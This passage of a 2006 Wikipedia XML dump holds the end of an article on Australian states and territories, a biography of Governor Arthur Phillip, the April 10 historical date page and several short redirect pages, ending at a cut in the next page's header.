| Western Australia || align=right |  2 529 875 &lt;small&gt;(rank 1st)&lt;/small&gt;|| align=right |  1 998 400 &lt;small&gt;(rank 4th)&lt;/small&gt;|| align=right |  0.79 &lt;small&gt;(rank 7th)&lt;/small&gt; || align=right | 73.4% &lt;small&gt;(rank 3rd)&lt;/small&gt;
|-
| Tasmania || align=right |  68 401 &lt;small&gt;(rank 7th)&lt;/small&gt;|| align=right |  484 000 &lt;small&gt;(rank 6th)&lt;/small&gt;|| align=right |  7.08  &lt;small&gt;(rank 4th)&lt;/small&gt; || align=right | 41% &lt;small&gt;(rank 8th)&lt;/small&gt;
|-
| Northern Territory || align=right |  1 349 129 &lt;small&gt;(rank 3rd)&lt;/small&gt;|| align=right |  200 800 &lt;small&gt;(rank 8th)&lt;/small&gt;|| align=right |  0.15 &lt;small&gt;(rank 8th)&lt;/small&gt; || align=right | 54% &lt;small&gt;(rank 6th)&lt;/small&gt;
|- 
|}

==State and territory codes==
{| border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;border:1px solid #aaa; border-collapse:collapse&quot;
|- bgcolor=&quot;#cccccc&quot; | align=center
| rowspan=2 | State/Territory || colspan=3 | Callsigns
| rowspan=2 width=80 | [[Postcode]]s
| rowspan=2 width=80 | [[Telephone area code]]s || colspan=2 | [[Time zone]]
|- style=&quot;background: #efefef;&quot; align=center
| width=60 | [[AM radio|AM]]/[[FM radio|FM]]
| width=60 | [[Television|TV]]
| width=60 | [[Amateur radio|Amateur]]
| width=60 | Std
| width=60 | [[Daylight saving time|Summer]]
|- align=center
| Australian Capital Territory || 1xx(x)
| xx(x)Cn || VK1xx || 02nn*, 26nn || 02
| +10 || +11
|- align=center
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| VK2xx || 1nnn*, 2nnn || 02 || +10 || +11
|- align=center
| Victoria || 3xx(x) || xx(x)Vn || VK3xx || 3nnn, 8nnn*
| 03 || +10 || +11
|- align=center
| Queensland || 4xx(x) || xx(x)Qn || VK4xx || 4nnn, 9nnn*
| 07 || colspan=2 | +10
|- align=center
| South Australia || 5xx(x) || xx(x)Sn
| VK5xx || 5nnn || 08 || +9.5 || +10.5
|- align=center
| Western Australia || 6xx(x) || xx(x)Wn
| VK6xx || 6nnn || 08 || colspan=2 | +8
|- align=center
| Tasmania || 7xx(x) || xx(x)Tn || VK7xx || 7nnn
| 03 || +10 || +11
|- align=center
| Northern Territory || 8xx(x) || xx(x)Dn
| VK8xx || 08nn || 08 || colspan=2 | +9.5
|-
| colspan=8 align=left bgcolor=&quot;#cccccc&quot; | External Territories
|- align=center
| Norfolk Island || 2xx(x) || ?
| rowspan=4 | VK9xx || rowspan=2 | (NSW)
| +672 3 || colspan=2 | +11.5
|- align=center
| Lord Howe Island || 2xx(x) || ? || (NSW) || +10.5
| +11
|- align=center
| Christmas Island || ? || ?
| rowspan=2 | (WA) || rowspan=2 | (WA)
| colspan=2 | +7
|- align=center
| Cocos Island || ? || ? || colspan=2 | +6.5
|- align=center
| Aust. Antarctic Territory || colspan=2 | none
| rowspan=2 | VK0xx
| rowspan=2 | (Tas) || rowspan=2 | +672 1
| colspan=2 | +6 to +8
|- align=center
| Macquarie Island || colspan=2 | none || +10
| +11
|}

&lt;br/&gt;* ''Used for PO Box and Large Users only''

==See also==
*[[List of capitals of subnational entities]]
*[[List of regions in Australia]]
*[[ISO 3166-2:AU]], the ISO codes for the states and territories of Australia
*[[Australian States by Gross State Product]]
*[[Proposals for new Australian States]]

==External links==
*[http://www.ga.gov.au/map/ Maps of Australia]
*[http://citymayors.com/government/aus_locgov.html CityMayors article]

{{australia}}
[[Category:Lists of subnational entities|Australia, States and Territories of]]
[[Category:Australian states and territories| ]]
[[Category:Subdivisions of Australia|States]]
[[Category:States|Australia]]
[[Category:Territories|Australia]]

[[bg:Административно деление на Австралия]]
[[gl:Subdivisións da Australia]]
[[id:Negara-negara bagian Australia]]
[[he:מדינות אוסטרליה]]
[[ja:オーストラリアの州と特別地域]]
[[pl:Podział administracyjny Australii]]
[[pt:Subdivisões da Austrália]]
[[ru:Административно-территориальное деление Австралии]]
[[vi:Tiểu bang và vùng lãnh thổ Úc]]
[[zh:澳大利亚行政区划]]</text>
    </revision>
  </page>
  <page>
    <title>Arthur Phillip</title>
    <id>2563</id>
    <revision>
      <id>41263131</id>
      <timestamp>2006-02-26T03:45:13Z</timestamp>
      <contributor>
        <username>Gwernol</username>
        <id>266416</id>
      </contributor>
      <comment>Revert to revision 38692509 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:ac.phillip.jpg|frame|Admiral Arthur Phillip (1786 portrait by Francis Wheatley, National Portrait Gallery, London)]]

[[Royal Navy|Admiral]] '''Arthur Phillip''' ([[11 October]] [[1738]] &amp;ndash; [[31 August]] [[1814]]) was a [[United Kingdom|British]] [[Royal Navy|naval]] officer and colonial administrator. Phillip was appointed [[Governor of New South Wales|Governor]] of the first European colony on the [[Australia|Australian]] continent - [[New South Wales]] - and was the founder of the city of [[Sydney]].

==Early life and naval career==

Arthur Phillip was born in [[London]] in 1738, the son of Jacob Phillip, a German-born language teacher, and his English wife, Elizabeth, who had remarried after the death of her previous husband, a Royal Navy captain. Phillip was educated at the school of the [[Greenwich Hospital]] and at the age of 13 was apprenticed to the [[merchant navy]].

Phillip joined the [[Royal Navy]] at fifteen, and saw action at the outbreak of the [[Seven Years' War]] in the [[Mediterranean Sea|Mediterranean]] at the [[Battle of Minorca]] in [[1756]]. In [[1762]] he was promoted to [[Lieutenant]], but was placed on half pay when the [[Seven Years War]] ended in [[1763]]. During this period he married, and farmed in [[Hampshire]].

In [[1774]] Phillip joined the [[Portugal|Portuguese]] Navy as a captain, serving in the war against [[Spain]]. In [[1778]] England was again at war, and Phillip was recalled to active service, and in [[1779]] obtained his first command, the ''Basilisk''. He was promoted to captain in [[1781]], and was given command of the ''Europe'', but in [[1784]] he was back on half pay.

==Governor of New South Wales==

Then, in October [[1786]], Phillip was appointed captain of ''[[HMS Sirius (1786)|HMS Sirius]]'' and appointed Governor-designate of [[New South Wales]], the proposed British [[penal colony]] on the east coast of Australia. The appointment seems to have been the work of [[George Rose]], Under-Secretary of the Treasury and a neighbour of Phillip in Hampshire. He would have known of Phillip's experience in farming.

Phillip had a very difficult time assembling the fleet which was to make the eight-month sea voyage to Australia. Everything a new colony might need had to be taken, since Phillip had no real idea of what he might find when he got there. There were few funds available for equipping the expedition. His suggestion that people with experience in farming, building and crafts be included was rejected. Most of the 778 convicts were petty thieves from the London slums. Phillip was accompanied by a contingent of [[Royal Marines|marines]] and a handful of other officers who were to administer the colony.

The [[First Fleet]], of eleven ships, set sail on [[13 May]] [[1787]]. The leading ship reached [[Botany Bay]] on [[18 January]] [[1788]]. Phillip soon decided that this site, chosen on the recommendation of [[Sir Joseph Banks]], who had accompanied [[James Cook]] in [[1770]], was not suitable, since it offered no secure anchorage and had no reliable water source. After some exploration Phillip decided to go on to Port Jackson, and on [[26 January]] the marines and convicts were landed at [[Sydney Cove]], which Phillip named after [[Thomas Townshend, 1st Viscount Sydney|Viscount Sydney]], the [[Home Secretary]].

The early days of the settlement were chaotic and difficult. With limited supplies, the cultivation of food was imperative, but the soils around Sydney were poor, the climate was unfamiliar, and moreover very few of the convicts had any knowledge of [[agriculture]]. Farming tools were scarce and the convicts were unwilling farm labourers. The colony was on the verge of outright [[starvation]] for an extended period. The marines, poorly disciplined themselves in many cases, were not interested in convict discipline. Almost at once, therefore, Phillip had to appoint overseers from among the ranks of the convicts to get the others working. This was the beginning of the process of convict emancipation which was to culminate in the reforms of [[Lachlan Macquarie]] after [[1811]].

Phillip showed in other ways that he recognised that [[New South Wales]] could not be run simply as a prison camp. Two convicts, Henry and Suzannah Kable, sought to sue the captain of one the transport ships for stealing their possessions during the voyage. Convicts in Britain had no right to sue. But Phillip not only allowed this, he found in their favour, and ordered the captain to make restitution. Phillip had said before leaving England: &quot;In a new country there will be no slavery and hence no slaves,&quot; and he meant what he said. Nevertheless, Phillip believed in discipline, and floggings and hangings were commonplace.

Phillip also had to adopt a policy towards the [[Iora]] [[Australian Aborigine|Aboriginal people]], who lived around the waters of [[Sydney Harbour]]. Phillip ordered that they must be well-treated, and that anyone killing Aboriginal people would be hanged. Phillip befriended an Iora man called [[Bennelong]], and later took him to England. On the beach at [[Manly, New South Wales|Manly]], a misunderstanding arose and Phillip was speared in the shoulder: but he ordered his men not to retaliate. Phillip went some way towards winning the trust of the Iora, although the settlers were at all times treated extremely warily. Soon, [[smallpox]] and other European-introduced [[epidemic|epidemics]] ravaged the Iora population.

The Governor's main problem was with his own military officers, who wanted large grants of land, to which Phillip would not agree. The officers were expected to grow food, but they considered this beneath them. As a result [[scurvy]] broke out, and in October [[1788]] Phillip had to send ''Sirius'' to [[Cape Town]] for supplies, and strict rationing was introduced, with thefts of food punished by [[hanging]].
[[Image:Arthur Phillip - Project Gutenberg eText 12992.jpg|thumbnail|right|250px|'''Arthur Phillip''']]
==Stabilising the colony==

By [[1790]] the situation had stabilised. The population of about 2,000 was adequately housed and fresh food was being grown. Phillip assigned a convict, [[James Ruse]], land at [[Rose Hill]] (now [[Parramatta]]) to establish proper farming, and when Ruse succeeded others followed. But in June [[1790]] the [[Second Fleet]] arrived with hundreds more convicts, most of them too sick to work. ''Sirius'' was wrecked in March [[1790]], depriving Phillip of vital supplies. In an attempt to relieve the overcrowding, Phillip established a satellite settlement at [[Norfolk Island]], which later developed a terrible reputation as a place of severe punishment.

By December [[1790]] Phillip was ready to return to England, but the colony had largely been forgotten in London and no instructions reached him, so he carried on. In [[1791]] he was advised that the government would send out two convoys of convicts annually, plus adequate supplies. But July, when the vessels of the [[Third Fleet]] began to arrive, with 2,000 more convicts, food again ran short, and he had to send a ship to [[Calcutta]] for supplies.

By [[1792]] the colony was well-established, though Sydney remained an unplanned huddle of wooden huts and tents. The [[whaling|whaling industry]] was established, ships were visiting Sydney to trade, and convicts whose sentences had expired were taking up farming. [[John Macarthur (wool pioneer)|John Macarthur]] and other officers were importing sheep and beginning to grow wool. The colony was still very short of skilled farmers, craftsmen and tradesmen, and the convicts continued to work as little as possible, even though they were working mainly to grow their own food.

In late [[1792]] Phillip, whose health was suffering from the poor diet, at last received permission to leave, and on [[11 December]] [[1792]] he sailed in the ship ''Atlantic'', taking with him Bennelong and many specimens of plants and animals. The European population of New South Wales at his departure was 4,221, of whom 3,099 were convicts. The early years of the colony had been years of struggle and hardship, but the worst was over, and there were no further famines in New South Wales. Phillip arrived in London in May [[1793]]. He tendered his formal resignation and was granted a pension of 500 pounds a year.
[[Image:ArthurPhillipStatueSydney_gobeirne.jpg|thumb|left|250px|Statue of Arthur Phillip in the [[Royal Botanical Gardens, Sydney]].]]
==Later life==

Phillip's wife, Margaret, had died in [[1792]]. In [[1794]] he married [[Isabella Whitehead]], and lived for a time at [[Bath]]. His health gradually recovered and in [[1796]] he went back to sea, holding a series of commands and responsible posts in the wars against the French. In January [[1799]] he became a Rear-Admiral. In [[1805]], aged 67, he retired from the Navy with the rank of [[Admiral]], and spent most of the rest of his life at Bath. He continued to correspond with friends in New South Wales and to promote the colony's interests with government officials. He died at Bath in [[1814]].

Phillip was buried in St Nicholas's Church, [[Bathampton]]. Forgotten for many years, the grave was discovered in [[1897]] and the Premier of New South Wales, [[Henry Parkes|Sir Henry Parkes]], had it restored. A monument to Phillip in [[Bath Abbey]] Church was unveiled in [[1937]]. Another was unveiled at St Mildred's Church, Bread St, London, in 1932; that church was destroyed in the London Blitz in 1940, but the principal elements of the monument were re-erected at the west end of Watling Street, near [[Saint Paul's Cathedral]], in [[1968]]. There is a statue of him in the [[Royal Botanical Gardens, Sydney|Botanic Gardens, Sydney]]. There is an excellent portrait in the [[National Portrait Gallery, London]]. His name is commemorated in Australia by [[Port Phillip]], [[Phillip Island]] and many streets, parks and schools.

[[Alan Serle]] wrote of Phillip in the ''Australian Dictionary of Biography'': &quot;Steadfast in mind, modest, without self seeking, Phillip had imagination enough to conceive what the settlement might become, and the common sense to realize what at the moment was possible and expedient. When almost everyone was complaining he never himself complained, when all feared disaster he could still hopefully go on with his work. He was sent out to found a convict settlement, he laid the foundations of a great dominion.&quot;

==Further reading==
*M Barnard Eldershaw, ''Phillip of Australia'', Angus and Robertson 1938

==External links==
* {{gutenberg author| id=Arthur+Phillip | name=Arthur Phillip}}
*[http://www.gutenberg.org/etext/15100 The Voyage of Governor Phillip to Botany Bay] With an Account of the Establishment of the Colonies of [[Port Jackson]] and [[Norfolk Island]] ([[1789]]) - from [[Project Gutenberg]]
* [http://aphs.nsw.edu.au/| Arthur Phillip High School], [[Parramatta]] - state high ( years 7-12) school named for Phillip

{{start box}}
{{succession box | title=[[Governor of New South Wales]] | before=''(none)'' | after=[[John Hunter (New South Wales)|John Hunter]] | years=1788-1792}}
{{end box}}

[[Category:1738 births|Phillip, Arthur]]
[[Category:1814 deaths|Phillip, Arthur]]
[[Category:Royal Navy admirals|Phillip, Arthur]]
[[Category:Governors of New South Wales|Phillip, Arthur]]
[[Category:City founders|Phillip, Arthur]]

[[de:Arthur Phillip]]
[[pl:Arthur Phillip]]</text>
    </revision>
  </page>
  <page>
    <title>April 10</title>
    <id>2564</id>
    <revision>
      <id>42065866</id>
      <timestamp>2006-03-03T15:59:49Z</timestamp>
      <contributor>
        <username>Str1977</username>
        <id>244946</id>
      </contributor>
      <minor />
      <comment>/* Births */</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=10}}
|}
'''April 10''' is the 100th day of the year in the [[Gregorian calendar]] (101st in [[leap year]]s). There are 265 days remaining.
==Events==
*[[1741]] - [[Prussia]] defeats [[Austria]] in the [[Battle of Mollwitz]]
*[[1790]] - [[United States]] Patent system established
*[[1815]] - [[Mount Tambora]] eruption covers several islands with ash in [[Indonesia]].
*[[1816]] - The [[United States|U.S.]] government approved the creation of a [[Second Bank of the United States]].
*[[1865]] - [[American Civil War]]: A day after his surrender to [[United States|Union]] forces, [[Confederate States of America|Confederate]] General [[Robert E. Lee]] addresses his troops for the last time.
*[[1866]] - The [[American Society for the Prevention of Cruelty to Animals]] [[(ASPCA)]] is founded in New York City by [[Henry Bergh]].
*[[1906]] - [[The Four Million]], [[O. Henry]]'s second [[short story]] collection, is published.
*[[1912]] - The [[RMS Titanic|RMS ''Titanic'']] leaves port in [[Southampton]], [[England]].
*[[1916]] - The [[Professional Golfers Association of America]] (PGA) is created in [[New York City]] by 82 [[charter]] members.
*[[1919]] - [[Mexican Revolution]] leader [[Emiliano Zapata]] is ambushed and shot dead by government forces in [[Morelos]].
*[[1925]] - [[The Great Gatsby]] by [[F. Scott Fitzgerald]] is first published in [[New York, New York]] by [[Charles Scribner's Sons]].
*[[1933]] - [[New Deal]]: The [[Civilian Conservation Corps]] is created.
*[[1938]] - [[Édouard Daladier]] becomes Prime Minister of [[France]]
*[[1941]] - [[World War II]]: The [[Axis Powers]] in [[Europe]] establish  the [[Independent State of Croatia]] from occupied [[Kingdom of Yugoslavia|Yugoslavia]] with [[Ante Pavelic|Ante Pavelić]]'s [[Ustase]] fascist [[insurgent]]s in power.
*[[1944]] - [[Rudolf Vrba]] and [[Alfred Wetzler]] escape from Auschwitz II death camp.
*1944 - [[Henry Ford II]] is named executive vice president of [[Ford Motor Company]].
*[[1953]] - [[The House of Wax]] opens at [[New York City]]'s Paramount Theater (it was the first color feature in 3-D).
*[[1957]] - The [[Suez Canal]] is reopened for all shipping after being closed for three months. 
*[[1959]] - [[Akihito]], future [[Emperor of Japan]], weds [[Empress Michiko of Japan|Michiko]] (née Michiko Shoda), a commoner.
*[[1963]] - The [[submarine]] [[USS Thresher (SSN-593)|USS Thresher]] is lost at sea, with all hands (129 officers, crewmen and civilian technicians)
*[[1968]] - Shipwreck of the [[Wahine disaster|Wahine]] outside Wellington harbour.
*[[1970]] - [[Paul McCartney]] announces that [[The Beatles]] have broken up.
*1970 - [[Vietnam War]]: 48 percent of the [[United States|American]]s polled in a [[Gallup poll|Gallup Poll]] approve of U.S. President [[Richard M. Nixon]]'s [[Vietnam]] policy, while 41 percent disapprove.
*[[1971]] - [[Cold War]]: In an attempt to thaw relations with the [[United States]], the [[People's Republic of China]] host the U.S. [[table tennis]] team for a weeklong visit.
*[[1972]] - 20 days after he was kidnapped in [[Buenos Aires]], [[Oberdan Sallustro]] is executed by communist guerrillas.
*1972 - [[Vietnam War]]: For the first time since November 1967 [[United States|American]] [[B-52 Stratofortress|B-52 bomber]]s reportedly begin bombing [[North Vietnam]].
*[[1973]] - A British Vanguard turboprop crashes during a snowstorm at Basel, [[Switzerland]] killing 104.
*[[1979]] - On the day known to meteorologists as &quot;Terrible Tuesday&quot;, a tornado hits in [[Wichita Falls, Texas]] killing 42 people. (see [[Red River Valley Tornado Outbreak]]).
*[[1988]] - The [[comic strip]] ''[[Fox Trot]]'' débuts.
*[[1991]] - Italian ferry &quot;Moby Prince&quot; collides with an oil tanker in dense fog off [[Livorno]], [[Italy]] killing 140
*1991 - A [[South Atlantic tropical cyclone|rare]] [[tropical cyclone|tropical storm]] develops in the [[Southern Hemisphere]] off the coast of [[Angola]]; the first of its kind to be documented by [[weather satellite|satellites]].
*[[1998]] - The [[Belfast Agreement]] is signed.

==Births==
*[[1389]] - [[Cosimo de' Medici]], ruler of Florence (d. [[1464]])
*[[1583]] - [[Hugo Grotius]], Dutch philosopher and writer (d. [[1645]])
*[[1651]] - [[Ehrenfried Walther von Tschirnhaus]], German mathematician (d. [[1708]])
*[[1704]] - [[Benjamin Heath]], English classical scholar (d. [[1766]])
*[[1713]] - [[John Whitehurst]], English clockmaker and scientist (d. [[1788]])
*[[1755]] - [[Samuel Hahnemann]], German physician (d. [[1843]])
*[[1762]] - [[Giovanni Aldini]], Italian physicist (d. [[1834]])
*[[1778]] - [[William Hazlitt]], English writer (d. [[1830]])
*[[1783]] - [[Hortense de Beauharnais]], Queen of Holland as wife of [[Louis Bonaparte]] (d. [[1837]])
*[[1794]] - [[Matthew Perry (naval officer)|Matthew Perry]], American commodore (d. [[1858]])
*[[1829]] - [[William Booth]], English founder of the Salvation Army (d. [[1912]])
*[[1847]] - [[Joseph Pulitzer]], American journalist and publisher (d. [[1911]])
*[[1864]] - [[Eugen d'Albert]], German composer (d. [[1932]])
*[[1867]] - [[George William Russell]], Irish nationalist, poet and artist (d. [[1935]])
*[[1868]] - [[George Arliss]], English actor (d. [[1946]])
*[[1870]] (O.S.) - [[Vladimir Lenin]], [[Premier of the Soviet Union]] (d. [[1924]])
*[[1880]] - [[Montague Summers]], English writer (d. [[1948]])
*[[1882]] - [[Frances Perkins]], American politician (d. [[1965]])
*[[1887]] - [[Bernardo Houssay]], Argentine physiologist, [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (d. [[1971]])
*[[1894]] - [[Shri Ghanshyam Das Birla]], Indian industrialist (d. [[1983]])
*[[1910]] - [[Eddy Duchin]], American musician (d. [[1951]])
*1910 - [[Paul Sweezy]], American economist and editor (d. [[2004]])
*[[1913]] - [[Stefan Heym]], German author (d. [[2001]])
*[[1915]] - [[Harry Morgan]], American actor 
*[[1917]] - [[Robert Burns Woodward]], American chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1979]])
*[[1918]] - [[Jørn Utzon]], Danish architect
*[[1921]] - [[Chuck Connors]], American actor and baseball player (d. [[1992]])
*1921 - [[Sheb Wooley]], American actor and singer (d. [[2003]])
*[[1926]] - [[Junior Samples]], American musician (d. [[1983]])
*[[1927]] - [[Marshall Warren Nirenberg]], American scientist, recipient of the [[Nobel Prize in Physiology or Medicine]]
*[[1929]] - [[Max von Sydow]], Swedish actor
*[[1930]] - [[Claude Bolling]], French jazz composer and pianist
*[[1930]] - [[Norma Candal]], Puerto Rican actress and comedienne {d. [[2006]]}
*1930 - [[Spede Pasanen]], Finnish comedian, film director, director and writer (d. [[2001]])
*[[1932]] - [[Omar Sharif]], Egyptian actor
*[[1934]] - [[David Halberstam]], American writer
*1934 - [[Vladimir Posner]], Russian journalist
*[[1936]] - [[John Madden (football)|John Madden]], American football coach and broadcaster
*[[1937]] - [[Bella Akhmadulina]], Russian poet
*[[1938]] - [[Don Meredith]], American football player and broadcaster
*[[1941]] - [[Paul Theroux]], American author
*[[1943]] - [[Andrzej Badenski|Andrzej Badeński]], Polish athlete
*[[1946]] - [[David Angell]], American television producer (d. [[2001]])
*[[1947]] - [[Bunny Wailer]], Jamaican musician
*[[1950]] - [[Ken Griffey, Sr.]], baseball player
*1950 - [[Eddie Hazel]], American guitarist ([[P-Funk]] and [[The Temptations]]) (d. [[1992]])
*[[1951]] - [[David Helvarg]], American journalist and environmental activist
*1951 - [[Steven Seagal]], American actor
*[[1954]] - [[Peter MacNicol]], actor
*[[1955]] - [[Lesley Garrett]], British soprano
*[[1958]] - [[Yefim Bronfman]], Russian-born pianist
*1958 - [[Babyface|Kenneth &quot;Babyface&quot; Edmonds]], American music producer, musician, and film producer
*[[1960]] - [[Afrika Bambaataa]], American musician and activist
*1960 - [[Katrina Leskanich]], American singer ([[Katrina and the Waves]])
*1960 - [[Brian Setzer]], American musician
*[[1962]] - [[Steve Tasker]], American football player
*[[1965]] - [[Tim Alexander]], American musician
*[[1968]] - [[Orlando Jones]], American actor and comedian
*[[1969]] - [[Billy Jayne]], American actor
*[[1970]] - [[Kenny Lattimore]], American singer
*[[1973]] - [[Roberto Carlos da Silva]], Brazilian footballer
*1973 - [[Christopher Simmons]], American designer
*[[1975]] - [[Chris Carrabba]], American singer ([[Dashboard Confessional]])
*[[1979]] - [[Shemekia Copeland]], American singer
*1979 - [[Rachel Corrie]], American activist (d. [[2003]])
*1979 - [[Tsuyoshi Domoto]], Japanese artist
*1979 - [[Sophie Ellis-Bextor]], English singer
*[[1980]] - [[Charlie Hunnam]], British actor
*[[1983]] - [[Ryan Merriman]], American actor
*[[1984]] - [[Mandy Moore]], American singer
*[[1987]] - [[Hayley Westenra]], New Zealand soprano
*[[1988]] - [[Haley Joel Osment]], American actor
*[[1990]] - [[Alex Pettyfer]], English actor
*[[1991]] - [[Amanda Michalka]], American actress and singer

==Deaths==
*[[879]] - [[Louis the Stammerer]], King of the West Franks (b. [[846]])
*[[1512]] - King [[James V of Scotland]] (d. [[1542]])
*[[1533]] - King [[Frederick I of Denmark]] (b. [[1471]])
*[[1545]] - [[Costanzo Festa]], Italian composer
*[[1585]] - [[Pope Gregory XIII]] (b. [[1502]])
*[[1599]] - [[Gabrielle d'Estrée]], mistress of King [[Henry IV of France]] (b. [[1571]])
*[[1601]] - [[Mark Alexander Boyd]], Scottish poet (b. [[1562]])
*[[1640]] - [[Agostino Agazzari]], Italian composer (b. [[1578]])
*[[1646]] - [[Santino Solari]], Swiss architect and sculptor (b. [[1576]])
*[[1704]] - [[William Egon of Fürstenberg]], Bishop of Strassburg (b. [[1629]])
*[[1706]] - [[Arthur Chichester, 3rd Earl of Donegall]], Irish soldier (b. [[1666]])
*[[1756]] - [[Giacomo Antonio Perti]], Italian composer (d. [[1661]])
*[[1760]] - [[Jean Lebeuf]], French historian (b. [[1687]])
*[[1786]] - [[John Byron]], British naval officer (b. [[1723]])
*[[1813]] - [[Joseph-Louis Lagrange]], Italian-born mathematician (b. [[1736]])
*[[1823]] - [[Karl Leonhard Reinhold]], Austrian philosopher (b. [[1757]])
*[[1862]] - [[W.H.L. Wallace]], American Union general (b. [[1821]])
*[[1882]] - [[Dante Gabriel Rossetti]], English poet and painter (b. [[1828]])
*[[1904]] - Queen [[Isabella II of Spain]] (b. [[1830]])
*[[1919]] - [[Emiliano Zapata]], Mexican revolutionary (b. [[1879]])
*[[1931]] - [[Khalil Gibran]], Lebanese poet and painter (b. [[1883]])
*[[1945]] - [[Charles Nordhoff]], English-born writer (b. [[1887]])
*1945 - [[H.N. Werkman]], Dutch artist and printer (executed) (b. [[1882]])
*[[1954]] - [[Auguste and Louis Lumière|Auguste Lumière]], French film pioneer (b. [[1862]])
*1954 - [[Oscar Mathisen]], Norwegian speed skater (b. [[1888]])
*[[1962]] - [[Michael Curtiz]], Hungarian-born director (b. [[1886]])
*1962 - [[Stuart Sutcliffe]], English musician ([[The Beatles]]) (b. [[1940]])
*[[1965]] - [[Linda Darnell]], American actress (b. [[1923]])
*[[1966]] - [[Evelyn Waugh]], English writer (b. [[1903]])
*[[1968]] - [[Gustavs Celmins]], Latvian politician (b. [[1899]])
*[[1969]] - [[Harley J. Earl]], American automobile designer (b. [[1893]])
*[[1975]] - [[Josephine Baker]], American dancer (b. [[1906]])
*1975 - [[Marjorie Main]], American actress (b. [[1890]])
*[[1979]] - [[Nino Rota]], Italian composer (b. [[1911]])
*[[1986]] - [[Linda Creed]], American songwriter (b. [[1949]])
*[[1991]] - [[Kevin Peter Hall]], American actor (b. [[1955]])
*1991 - [[Natalie Schafer]], American actress (b. [[1900]])
*[[1992]] - [[Sam Kinison]], American comedian (b. [[1953]])
*[[1993]] - [[Chris Hani]], South African activist (b. [[1942]])
*[[1994]] - [[Sam B. Hall]], American politician (b. [[1924]])
*[[1995]] - [[Morarji Desai]], Indian activist (b. [[1896]])
*[[1997]] - [[Michael Dorris]], American author (b. [[1945]])
*[[1999]] - [[Heinz Fraenkel-Conrat]], German-born biochemist (b. [[1910]])
*[[2000]] - [[Peter Jones]], English comedian and scriptwriter (b. [[1920]])
*2000 - [[Larry Linville]], American actor (b. [[1939]])
*[[2002]] - [[Yuji Hyakutake]], Japanese astronomer (b. [[1950]])
*[[2003]] - [[Little Eva]], American singer (b. [[1943]])
*[[2005]] - [[Norbert Brainin]], Austrian violinist (b. [[1923]])

==Holidays and observances==
* [[Holy Saturday]] ([[2004]])
* [[Good Friday]] ([[1998]])
* [[Passover]] ([[1990]])
==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/10 BBC: On This Day]

----
''There is also a song called &quot;[[April Tenth]]&quot; by [[Garbage (band)|Garbage]].''
----

[[April 9]] - [[April 11]] - [[March 10]] - [[May 10]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:10 April]]
[[ar:10 ابريل]]
[[an:10 d'abril]]
[[ast:10 d'abril]]
[[bg:10 април]]
[[be:10 красавіка]]
[[bs:10. april]]
[[ca:10 d'abril]]
[[ceb:Abril 10]]
[[cv:Ака, 10]]
[[co:10 d'aprile]]
[[cs:10. duben]]
[[cy:10 Ebrill]]
[[da:10. april]]
[[de:10. April]]
[[et:10. aprill]]
[[el:10 Απριλίου]]
[[es:10 de abril]]
[[eo:10-a de aprilo]]
[[eu:Apirilaren 10]]
[[fo:10. apríl]]
[[fr:10 avril]]
[[fy:10 april]]
[[ga:10 Aibreán]]
[[gl:10 de abril]]
[[ko:4월 10일]]
[[hr:10. travnja]]
[[io:10 di aprilo]]
[[id:10 April]]
[[ia:10 de april]]
[[ie:10 april]]
[[is:10. apríl]]
[[it:10 aprile]]
[[he:10 באפריל]]
[[jv:10 April]]
[[ka:10 აპრილი]]
[[csb:10 łżëkwiôta]]
[[ku:10'ê avrêlê]]
[[lt:Balandžio 10]]
[[lb:10. Abrëll]]
[[li:10 april]]
[[hu:Április 10]]
[[mk:10 април]]
[[ms:10 April]]
[[nap:10 'e abbrile]]
[[nl:10 april]]
[[ja:4月10日]]
[[no:10. april]]
[[nn:10. april]]
[[oc:10 d'abril]]
[[pl:10 kwietnia]]
[[pt:10 de Abril]]
[[ro:10 aprilie]]
[[ru:10 апреля]]
[[se:Cuoŋománu 10.]]
[[sco:10 Aprile]]
[[sq:10 Prill]]
[[scn:10 di aprili]]
[[simple:April 10]]
[[sk:10. apríl]]
[[sl:10. april]]
[[sr:10. април]]
[[fi:10. huhtikuuta]]
[[sv:10 april]]
[[tl:Abril 10]]
[[tt:10. Äpril]]
[[te:ఏప్రిల్ 10]]
[[th:10 เมษายน]]
[[vi:10 tháng 4]]
[[tr:10 Nisan]]
[[uk:10 квітня]]
[[ur:10 اپریل]]
[[wa:10 d' avri]]
[[war:Abril 10]]
[[zh:4月10日]]
[[pam:Abril 10]]</text>
    </revision>
  </page>
  <page>
    <title>Albert of Brandenburg-Ansbach</title>
    <id>2565</id>
    <revision>
      <id>15900964</id>
      <timestamp>2002-10-09T16:39:36Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Albert of Prussia]]</comment>
      <text xml:space="preserve">#REDIRECT [[Albert of Prussia]]</text>
    </revision>
  </page>
  <page>
    <title>Academy award</title>
    <id>2567</id>
    <revision>
      <id>41555326</id>
      <timestamp>2006-02-28T03:06:09Z</timestamp>
      <contributor>
        <username>Rdsmith4</username>
        <id>61329</id>
      </contributor>
      <comment>fix</comment>
      <text xml:space="preserve">#REDIRECT [[Academy Awards]]</text>
    </revision>
  </page>
  <page>
    <title>Aphelion</title>
    <id>2568</id>
    <revision>
      <id>15900967</id>
      <timestamp>2004-02-06T03:16:42Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[apsis]]</text>
    </revision>
  </page>
  <page>
    <title>Apogee</title>
    <id>2569</id>
    <revision>
      <id>15900968</id>
      <timestamp>2004-02-06T03:16:51Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[apsis]]</text>
    </revision>
  </page>
  <page>
    <title>Alfred Hitchcocks Rope</title>
    <id>2571</id>
    <revision>
      <id>19926603</id>
